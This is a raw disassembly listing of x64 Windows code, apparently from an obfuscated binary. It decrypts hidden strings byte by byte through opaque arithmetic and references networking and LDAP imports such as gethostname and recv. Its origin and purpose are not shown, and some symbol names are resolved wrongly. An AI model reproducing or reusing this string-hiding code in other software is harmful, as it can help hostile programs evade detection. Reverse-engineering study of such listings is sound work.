movabs rcx, 0x8a70b92794607dc1
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x47
movzx eax, byte [rbp + rbx + 0xe48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087932
movabs rcx, 0xa43010855cb5c717
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5f
jmp 0x14008792e
movabs rcx, 0xf28f9515a4757341
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x39
jmp 0x14008791f
lea rcx, [rbp + 0x15c382c]
jmp 0x1400887a7
lea rcx, [rbp + 0x13c6217]
jmp 0x1400887a7
lea rcx, [rbp + 0xe48]
mov dword [rbp + 0x1058], 0x64
mov dword [rbp + 0x1010], 0xffffff9c
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x1058]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1010]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xe70], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xe71], 0xfa
mov byte [rbp + 0xe72], Ordinal_50
mov byte [rbp + 0xe73], Ordinal_211
mov byte [rbp + 0xe74], 0xee
mov byte [rbp + 0xe75], 0xe2
mov byte [rbp + 0xe76], 0xf0
mov byte [rbp + 0xe77], 0xe2
mov byte [rbp + 0xe78], reloc.WLDAP32.dll_Ordinal_30
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe79], xmm0
mov qword [rbp + 0xe89], rax
mov word [rbp + 0xe91], ax
movabs rdi, 0xe433cab04bd1b74f
movabs rsi, 0xc1e91908d1478c91
movabs r15, 0x2f702e39282e8ed3
movabs r14, 0x6308bc9680ea6eeb
movabs r12, 0x4286024308d5145
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140089668
movzx r11d, byte [rbp + rbx + 0xe70]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008965c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400888e3
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x3b
jmp 0x140088910
je 0x1400895d2
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008959b
lea rax, [r9 + 3]
cmp r8, rax
je 0x140089551
lea rax, [r9 + 7]
cmp r8, rax
je 0x140089527
cmp r9, rbx
ja 0x140089650
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14008893e
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x29
jmp 0x140088980
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400894d6
inc rax
cmp r8, rax
je 0x1400894a8
lea rax, [r9 + 4]
cmp r8, rax
je 0x140089474
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400893df
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400893aa
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140088fef
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140088fc6
lea rax, [r9 + 8]
cmp r8, rax
je 0x140088f99
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140088f6a
lea rax, [r9 + 5]
cmp r8, rax
je 0x140088f42
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140088f19
lea rax, [r9 + 3]
cmp r8, rax
je 0x140088ee5
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140088ebc
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140088e98
lea rax, [r9 + 9]
cmp r8, rax
je 0x140088e5e
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140088990
lea r8, [r9 + 6]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008962b
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140089606
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140088b78
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140088b5d
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140088b3e
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140088e00
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140088d9e
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140088d4f
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140088d20
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140088990
lea r8, [r9 + 3]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140088ce6
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140088cbd
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140088c99
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140088c60
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140088c3c
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140088c13
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140088be9
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140088bb7
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140088b93
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140088990
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x80]
jmp 0x140088990
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 9
add r10b, dl
jmp 0x140088980
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6d
jmp 0x140088910
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
jmp 0x1400888a5
movabs rcx, 0x219e55825e8dba78
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
jmp 0x1400894f5
movabs rdx, 0xc2bdf9100e309cd2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140088892
movabs rcx, 0x63dd9c9dbdd37f2c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x34
dec rbx
inc rbx
jmp 0x140088892
movabs rdx, 0x4fd402b6d766186
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008956f
movabs rcx, 0xa61ce3b91d1943e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x1400895ba
movabs rdx, 0x473c8746ccbc263a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088892
movabs rcx, 0xe85c2ad47c5f0894
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x1400893fe
movabs rdx, 0x897bce622c01eaee
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008942e
movabs rdx, 0x2a9b71efdba4cd48
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xe70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088892
movabs rcx, 0x3d6a8ad212bc0329
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1f
mov byte [rbp + rbx + 0xe70], r10b
inc rbx
jmp 0x140088892
movabs rcx, 0xde8a2e5fc25ee583
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6b
cmp r9, 4
jb 0x140088d3f
movabs rcx, 0xe6b26ac6028ce812
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 1
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x1400894f5
movabs rdx, 0x7fa9d1ed7201c7dd
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xb
add r10b, dl
cmp r8, 8
jae 0x14008934c
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x140089236
movabs rdx, 0x31eece4edee9bf96
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1a
add r10b, dl
jmp 0x140088d6e
movabs rcx, 0x20c9757b21a4aa37
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x14008937c
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14008912a
movabs rcx, 0x4dbb039e93180847
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xf
jmp 0x140088dc1
movabs rdx, 0x5936c021c6ea4bda
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xe70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088892
movabs rcx, 0xfa5663af768d2e34
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x14008942e
movabs rdx, 0x9b76073d2630108e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400893fe
movabs rcx, 0x3c95aacad5d2f2e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088892
movabs rdx, 0xddb54e588575d542
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400895ba
movabs rdx, 0x7ed4f1e63518b79c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x44
add r10b, dl
jmp 0x14008956f
movabs rdx, 0x1ff49573e4bb99f6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140088892
movabs rcx, 0xc1143901945e7c50
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x140088892
movabs rdx, 0x6233dc8f44015eaa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400894f5
lea rax, [r9 + 4]
cmp r8, rax
jae 0x140089017
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3b
jmp 0x140088e1f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140089056
movabs rcx, 0xc867956097a36e9e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x52
movzx eax, byte [rbp + rbx + 0xe70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088892
inc rax
cmp r8, rax
jne 0x140089086
movabs rcx, 0x86284e45385da9ea
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
jmp 0x1400893fe
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400890c8
movabs rdx, 0xe508aab788bac790
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088892
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400890f9
movabs rcx, 0x43e90729d917e536
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
jmp 0x1400895ba
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140088e1f
movabs rcx, 0xa2c9639c297502dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x14008956f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008915b
movabs rcx, 0xac9b6010e37525ed
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7b
jmp 0x1400894f5
inc rax
cmp r8, rax
jne 0x140089191
movabs rcx, 0x6a5c18f5842f6139
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x71
dec rbx
inc rbx
jmp 0x140088892
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400891c2
movabs rcx, 0xc93c7567d48c7edf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x19
jmp 0x14008956f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400891f4
movabs rcx, 0x281cd1da24e99c85
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x5d
jmp 0x1400895ba
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140088dc1
movabs rcx, 0xa39e43a3665e131d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
movzx eax, byte [rbp + rbx + 0xe70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088892
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140089279
movabs rdx, 0x90cf2ac12f46dd3c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xe70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088892
inc rax
cmp r8, rax
jne 0x1400892a9
movabs rcx, 0xefaf87337fa3fae2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2e
jmp 0x14008942e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400892da
movabs rcx, 0x6b30f8fcc118717a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x14008956f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140089316
movabs rdx, 0xca11556f11758f20
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140088892
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140088d6e
movabs rdx, 0x87d20e53b22fca6c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400894f5
movabs rdx, 0x4592c73852ea05b8
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xe70]
sub r10b, al
sub r10b, 8
add r10b, dl
add r10b, r11b
jmp 0x14008956f
movabs rdx, 0xa47323aaa347235e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xe70]
add r10b, dl
add r10b, r11b
jmp 0x1400893fe
movabs rcx, 0x3a170ab51f17c225
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 3
movzx eax, byte [rbp + rbx + 0xe70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088892
movabs rcx, 0x7c5651d07e5d86d9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x11
movabs rcx, 0xd3e351e3cb75b231
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x57
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xe70], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x353801cf3a44104
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x1c
add cl, r11b
mov byte [rbp + rbx + 0xe70], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xe70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088892
movabs rcx, 0x1d75f55e2e006933
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088892
movabs rcx, 0xa1f48394ec8bf29b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3d
inc r9
dec rbx
inc rbx
jmp 0x140088892
movabs rcx, 0x431427229c2ed4f5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4d
movabs rcx, 0x162298ff2abb76e5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x43
add cl, r11b
mov byte [rbp + rbx + 0xe70], cl
inc r9
dec rbx
inc rbx
jmp 0x140088892
movabs rcx, 0xc792b5595aba5e5d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x75
dec rbx
inc rbx
jmp 0x140088892
movabs rcx, 0x68b258e70a5d40b7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec r10b
movabs rcx, 0x7502f5717b18948b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x33
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xe70], cl
jmp 0x1400895ba
movabs rcx, 0x9d1fc74ba002311
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x77
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088892
movabs rcx, 0x8e508aab788bac79
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x4f
movzx eax, byte [rbp + rbx + 0xe70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088892
movabs rcx, 0xa54803b1e030339f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x59
jmp 0x140088890
movabs rcx, 0x4667a73f8fd315f9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x31
jmp 0x140088880
lea r14, [rbp + 0x1480434]
jmp 0x14008966f
lea r14, [rbp + 0xb69307]
jmp 0x14008966f
lea r14, [rbp + 0xe70]
lea rdx, [0x1402280c0]
lea rcx, [rbp + 0x678]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x18]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a3852
mov byte [rbp + 0xe98], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xe99], 0x79
mov byte [rbp + 0xe9a], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xe9b], gethostname
mov byte [rbp + 0xe9c], Ordinal_45
mov byte [rbp + 0xe9d], Ordinal_217
mov byte [rbp + 0xe9e], Ordinal_45
mov byte [rbp + 0xe9f], 0xdb
mov byte [rbp + 0xea0], 0x40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xea1], xmm0
mov qword [rbp + 0xeb1], rax
mov word [rbp + 0xeb9], ax
movabs r15, 0x4fe5d91fc851243c
movabs r12, 0xa32223401586cb44
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rcx, 0x7184d993cc96264c
cmp rdi, 0x23
jae 0x14008a4d2
movzx ebx, byte [rbp + rdi + 0xe98]
mov r10, rbx
cmp r8, rdi
ja 0x14008a4c6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140089790
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x14
jmp 0x1400897d0
je 0x14008a43f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008a3a3
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008a368
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008a319
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008a2ed
nop word [rax + rax]
cmp r9, rdi
ja 0x14008a4ba
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140089802
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140089850
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14008a29a
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008a271
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008a24d
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008a22a
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008a202
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008a1ce
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140089e57
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140089e2f
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140089dfe
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140089dd0
lea rax, [r9 + 6]
cmp r8, rax
je 0x140089dac
lea rax, [r9 + 4]
cmp r8, rax
je 0x140089d89
lea rax, [r9 + 2]
cmp r8, rax
je 0x140089d56
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140089d2e
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140089d06
lea r8, [r9 + 1]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008a497
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008a474
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140089a27
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400899ff
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400899e0
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140089ca4
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140089c32
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140089bde
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140089ba5
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140089b7e
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140089b57
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140089b24
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140089b01
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140089adc
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140089aae
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140089a7d
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140089a59
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x41]
jmp 0x140089860
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140089850
movabs rdx, 0xc01870187c5a7eac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400897d0
movabs rdx, 0xdd0ebcf0e32e3214
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0x7184d993cc96264c
jmp 0x14008975e
movabs rdx, 0x7f2ec8fe428921e0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x20
jmp 0x14008a2ba
movabs rdx, 0x9c2515d6a95cd548
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140089742
movabs rdx, 0xb91b62af103088b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140089742
movabs rdx, 0xd611af8777043c18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14008a338
movabs rcx, 0xf307fc5fddd7ef80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x14008a38b
movabs rcx, 0xffe493844aba2e8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089742
movabs rdx, 0x2cf49610ab7f5650
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x14008a3ca
movabs rdx, 0x49eae2e9125309b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x14008a3fb
movabs rdx, 0x66e12fc17926bd20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xe98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089742
movabs rdx, 0x4c3f3cb6e10bb10c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x54
add r11b, dl
cmp r9, 4
jb 0x14008a163
movabs rdx, 0x3aeeb0e383d34248
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14008a2bd
movabs rdx, 0x6935898f47df6474
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
add r11b, dl
cmp r8, 1
jae 0x14008a173
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008a0dc
movabs rdx, 0x3f97647f214490f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xe98]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089742
movabs rdx, 0x862bd667aeb317dc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 4
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x14008a19f
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x140089f77
movabs rdx, 0xca7d837bfc7201c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
